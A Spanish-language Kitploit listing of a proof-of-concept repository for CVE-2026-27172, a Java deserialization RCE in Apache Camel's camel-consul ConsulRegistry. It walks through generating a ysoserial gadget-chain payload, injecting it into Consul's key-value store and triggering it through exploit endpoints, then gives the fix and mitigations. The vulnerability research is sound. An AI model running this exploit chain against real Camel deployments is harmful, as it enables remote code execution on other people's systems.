Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27172 — Reproductor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry deserialización Java (RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-27172
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reproductor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry deserialización Java (RCE)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

camel-consul Reproducción de Vulnerabilidad de Deserialización en ConsulRegistry (CVE-2026-27172)

Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-consul de Apache Camel (ConsulRegistry), registrada como CVE-2026-27172. Pertenece a la misma clase de problema que CVE-2024-22369, CVE-2024-23114 y CVE-2026-25747, y fue pasada por alto durante la remediación original de esos CVEs.

Aviso: https://camel.apache.org/security/CVE-2026-27172.html

Resumen de la Vulnerabilidad

PropiedadValor
Componentecamel-consul
Clase Afectadaorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Métodos VulnerableslookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Deserialización de Datos No Confiables
ImpactoEjecución Remota de Código (RCE)
Versiones AfectadasDesde 3.0.0 antes de 4.14.6, y desde 4.15.0 antes de 4.18.1
Versiones Corregidas4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Detalles Técnicos

ConsulRegistry utiliza el almacén clave-valor de Consul como un registro de Camel. Cuando se busca un bean por nombre, el valor almacenado se decodifica en Base64 y se deserializa con un ObjectInputStream crudo y, en versiones afectadas, sin ObjectInputFilter:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // sin filtro (afectado)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - versión afectada
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // ¡SIN FILTRADO!
    }
}

Cualquier objeto almacenado en el almacén KV de Consul bajo una clave que Camel busque posteriormente es deserializado. Un atacante que pueda escribir en esa ruta KV puede plantar una carga útil de cadena de gadgets que se ejecuta cuando se realiza la búsqueda en el registro.

Requisitos Previos

  • Java 17+
  • Maven 3.8+
  • Un agente Consul en ejecución (almacén KV) — por ejemplo, mediante Docker
  • ysoserial (para generar la carga útil)

Pasos de Reproducción

Paso 1: Iniciar Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Paso 2: Compilar e Iniciar la Aplicación

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Paso 3: Inicializar la Clave del Registro

root@kitploit:~
curl http://localhost:8080/exploit/init

Paso 4: Generar una Carga Útil Maliciosa

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (prueba benigna: crear un archivo). Usar "open -a Calculator" en macOS, "calc.exe" en Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry almacena objetos serializados codificados en Base64, por lo que la carga útil se entrega como Base64.

Paso 5: Inyectar la Carga Útil en el KV de Consul

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Paso 6: Desencadenar la Deserialización (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() lee el valor KV, lo decodifica en Base64 y lo deserializa — ejecutando la cadena de gadgets.

Paso 7: Verificar la Explotación

root@kitploit:~
ls -la /tmp/pwned

Si el archivo /tmp/pwned existe, la explotación fue exitosa.

Vectores de Ataque

La vulnerabilidad se desencadena cada vez que el registro resuelve un bean:

  1. Referencias a beans — .to("bean:..."), bean(...), .process("...") por nombre llaman todas a lookupByName().
  2. Resolución al iniciar — beans resueltos mientras se construyen las rutas.
  3. Búsquedas por tipo — findByType() / lookupByNameAndType() iteran sobre entradas KV y las deserializan.

Condiciones de Explotación

  1. Acceso de escritura al almacén KV de Consul que respalda el registro:
    • Un clúster Consul compartido o mal configurado
    • Un token ACL de Consul comprometido o con alcance excesivo
    • Otra vulnerabilidad que proporcione una primitiva de escritura en KV
  2. Una librería de gadgets en el classpath:
    • commons-collections:3.2.1 (gadgets CommonsCollections1-7)
    • Muchas otras (consultar ysoserial)

Comparación con los CVEs Relacionados

Corrección Recomendada

La corrección (CAMEL-23029) añade un ObjectInputFilter configurable (por defecto java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize, y expone una opción deserializationFilter para que las clases de confianza puedan ser incluidas en la lista blanca:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Mitigación

Hasta que se actualice a una versión corregida:

  1. Restringir el acceso de escritura al KV de Consul a la propia identidad de la aplicación Camel (tokens ACL de menor privilegio).
  2. Eliminar librerías de gadgets: actualizar o eliminar librerías vulnerables como commons-collections 3.x.
  3. Segmentación de red: aislar el clúster Consul en una red de confianza.

Archivos

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Configuración de Maven (versión afectada de camel-consul)
├── README.md                        # Este archivo
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Punto de entrada de Spring Boot
    │   ├── ConsulRegistryRoute.java  # Ruta de Camel (deshabilitada; muestra uso real)
    │   └── ExploitController.java    # Puntos finales REST para la PoC
    └── resources/
        └── application.properties

Descargo de Responsabilidad

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.

Descargar herramienta
AspectoCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Almacén subyacenteTabla CassandraArchivo LevelDBAlmacén KV de Consul
ObjectInputFilter (antes de la corrección)ningunoningunoninguno
CorrecciónLista blanca ObjectInputFilterLista blanca ObjectInputFilterLista blanca ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029